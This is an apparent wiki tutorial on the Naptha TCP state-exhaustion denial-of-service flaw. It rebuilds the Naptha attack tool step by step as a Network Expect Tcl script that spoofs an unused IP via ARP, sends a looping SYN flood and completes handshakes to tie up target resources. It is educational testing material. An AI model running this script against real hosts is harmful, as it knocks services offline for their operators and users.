Naptha TCP State Exhaustion Testing With Network Expect

The Naptha vulnerabilities are a type of denial-of-service vulnerabilities researched and documented by Bob Keyes of BindView's RAZOR Security Team in 2000. The vulnerabilities exist in some implementations of the TCP protocol, specifically in the way some TCP implementations keep track of the state of TCP connections, and allow an attacker to exhaust the resources of a system under attack without utilizing much resources on the system used to launch the attack.

The following links provide more information about the Naptha denial-of-service vulnerabilities:

The Naptha Tool

To study and show the Naptha vulnerabilities, Bob Keyes wrote the Naptha tool. The tool was written in C and used libpcap to read packets from the network and libdnet to craft packets. An archived copy of the tool is available at http://packetstormsecurity.org/0101-exploits/naptha-1.1.tgz.

The Naptha tool actually consists of two programs: a program called synsend whose only function is to send TCP SYN packets to the target system, and a program called srvr whose function is to respond to specific traffic received from the target system with TCP packets with specific TCP flags set. Both what traffic to respond to and how to respond to it are specified by the user via command-line arguments.

The syntax for the srvr program is as follows:

srvr -FSRPAUfsrpau listen-ip-address
Flags are for TCP flags FIN SYN RST PSH ACK URG, upper case incoming
lower case outgoing.

Specifying a set of upper case flags causes srvr to only respond to incoming packets that have those TCP flags set. Everything else is ignored. For example, specifying -SA causes srvr to respond to packets that have the SYN and ACK flags set; a packet with just ACK set would be ignored.

Specifying a set of lower case flags causes srvr to respond to incoming packets that match the upper case flags with a packet that has the corresponding TCP flags set. For example, specifying -a causes srvr to send TCP packets with the ACK flag set in response to incoming packets that match the upper case flags.

The way the lowercase and uppercase flags work together opens a lot of possibilities. For example, if we wanted to cause lots of TCP connections on a target system to go into the ESTABLISHED state (therefore using up resources on the target system to track the connections) we would run srvr as follows:

shell# srvr -SAa <listen-ip-address>

Running srvr like this would cause srvr to respond to incoming SYN+ACK packets with an ACK. This would cause the TCP three-way handshake to be completed, therefore moving the connection to the ESTABLISHED state. This assumes that some other program is sending SYN packets to the target system. This could be done with the synsend program included with the Naptha tool, or by some other packet generator.

An important detail is that of <listen-ip-address>: this address can be an unused IP address in the network, or one of the IP addresses of the host where srvr is running. If it is an unused IP address then either an ARP responder is needed, or static ARP entries need to be used on the target system (if target is local) or on the default gateway (if target is remote.) If it is one of the IP addresses of the host where srvr is running then firewall rules need to be put in place to prevent the kernel from interfering with the fake connections that Naptha is performing.

So, to summarize, there are three aspects to the Naptha tool that need to be considered:

  1. Something needs to generate the initial SYNs. This is the job of synsend or some other packet generator.

  2. Something needs to respond to packets from the target system. This is the job of srvr.

  3. Something needs to respond to ARP requests for the "listen IP address". This is the job of an ARP responder like arpd or fantaip.

Rewriting Naptha Using Network Expect

The Naptha tool is a good example of something that we can try to implement using Network Expect for educational purposes. The three aspects mentioned above can be implemented within Network Expect, without the need to run a program outside of Network Expect to be able to achieve the same functionality. What follows is a dissection of how we can go about implementing the Naptha tool using Network Expect:

First, we need to parse the arguments passed via the command-line interface (CLI) and that specify how the tool will operate. Since we are sending the initial SYNs as well as responding to packets from the target system we need to pass to the program, via the CLI, instructions regarding what to respond to, how (what TCP flags to set), from what IP address to send the traffic, and to what destination IP address and port (the target.) The syntax we will use is then:

naptha.nexp <[FSRPAUfsrpau]> <my IP> <target IP> <target port>

Now let's start with our Network Expect script. To parse all the CLI arguments we can do:

if {$argc != 4} {
    puts "Usage: $argv0 <\[FSRPAUfsrpau]> <my IP> <target IP> <target port>"
    exit 1
}

# Some useful constants
set TH_FIN  0x01 ;# end of data
set TH_SYN  0x02 ;# synchronize sequence numbers
set TH_RST  0x04 ;# reset connection
set TH_PUSH 0x08 ;# push
set TH_ACK  0x10 ;# acknowledgment number set
set TH_URG  0x20 ;# urgent pointer set

set flags [lindex $argv 0]
set myip [lindex $argv 1]
set target [lindex $argv 2]
set dstport [lindex $argv 3]
set interface [outif $target]

for {set iflags 0; set oflags 0; set i 0} \
    {[set flag [string index $flags $i]] != ""} {incr i} {
    switch $flag {
        F   {set iflags [expr $iflags | $TH_FIN]}
        S   {set iflags [expr $iflags | $TH_SYN]}
        R   {set iflags [expr $iflags | $TH_RST]}
        P   {set iflags [expr $iflags | $TH_PUSH]}
        A   {set iflags [expr $iflags | $TH_ACK]}
        U   {set iflags [expr $iflags | $TH_URG]}
        f   {set oflags [expr $oflags | $TH_FIN]}
        s   {set oflags [expr $oflags | $TH_SYN]}
        r   {set oflags [expr $oflags | $TH_RST]}
        p   {set oflags [expr $oflags | $TH_PUSH]}
        a   {set oflags [expr $oflags | $TH_ACK]}
        u   {set oflags [expr $oflags | $TH_URG]}
        default {
            puts "Invalid TCP flag '$flag'"
            exit 1
        }
    }
}

This code will initialize the Tcl variables $iflags, $oflags, $myip, $target, $dstport, and $interface. The interface to use is determined automatically based on the outgoing interface used to reach the target system.

Next, we need to start the ARP responder. For this we use netexpect's ghost command. The ghost command is used to create "ghosts" in the network. A "ghost" is basically a host that does not exist - you can only ping it and it'll respond to ARP requests.

ghost with ip $myip and mac random on interface $interface

This solves the third aspect of the Naptha tool, i.e. the need for something that responds to ARP requests for the MAC address associated with an unused IP address in the network. This way we are free to use this unused IP address in Naptha testing.

We then proceed to create a network listener with the spawn_network command:

spawn_network -i $interface tcp\[13] & $iflags = $iflags and src host $target

We specify the interface we will be listening on and provide a PCAP filter that narrows down the type of traffic that we are interested in - we only want to see TCP packets that have TCP flags as specified by the user via the CLI (the "tcp[13] & $iflags = $iflags" part), and that come from the target (the "and src host $target") part.

The next task is to create a traffic generator (TGN) that will send the initial SYN packets to the target. We use the tgn command for this:

tgn create -start -loop -rate 1 \
    ip(id = 'random', src = $myip, dst = $target)/ \
    tcp(syn, seq = 'random', ack-seq = 0, src = 'random', dst = $dstport)

The tgn command will generate traffic in the background, that is, once executed, this command will cause a traffic generator to be created and script execution will continue in the foreground. The -start switch causes the TGN to start generating traffic right away (otherwise we'd need to issue a tgn start command so the TGN starts sending traffic) and the -loop command causes the TGN to continously generate traffic (otherwise the TGN would, based on the PDU definition used here, generate a single packet and then stop.) The PDU definition used is for an IP packet that carries a TCP payload. The TCP payload is just a SYN packet with a random sequence number.

This fulfills the first aspect of the Naptha tool, the need for something that generates the initial SYNs.

Finally, we need to respond to the traffic generated by the target in response to the SYNs the TGN is sending in the background. For this we use an expect_network statement that executes a send_network statement:

expect_network -timeout -1 {1} {
    # We don't keep TCP state; we derive it from the incoming TCP segment
    send_network \
        ip(src = ${ip.dst}, dst = ${ip.src})/ \
        tcp(src = ${tcp.dstport}, dst = ${tcp.srcport}, flags = $oflags, \
            seq = ${tcp.ack}, ack-seq = [expr ${tcp.seq} + 1])
    nexp_continue   ;# Loop forever
}

We never want to timeout waiting for traffic so we use -timeout -1. Filtering is performed by the PCAP filter associated with the network listener that we created with the spawn_network command so there is no need for a condition in the expect_network command, which explains the "always true" ("{1}") expression.

The body of the expect_network command includes the send_network command that generates the response to the incoming packet from the target. We do not keep TCP state and instead deduce the state from the incoming packet. That is, we calculate the TCP sequence and acknowledge sequence numbers from the incoming packet. The TCP flags in the outgoing packet are set based on the Tcl variable $oflags, which if you remember, is set based on the lower case flags specified in the command-line.

Finally, we want to keep doing this (responding to incoming packets) forever. This is why we need a nexp_continue statement. Without it we would send a single packet after a new packet arrives and then continue execution of the script after the expect_network command.

This expect_network + send_network combination is what implements the second aspect of the Naptha tool, i.e. something that responds to packets from the target system (what the original Naptha command srvr does).

This is it; this is all the code we need to implement a Naptha tool using Network Expect. The finished script, with comments, is available here: naptha.nexp.

Naptha (last edited 2012-02-14 03:42:49 by EloyParis)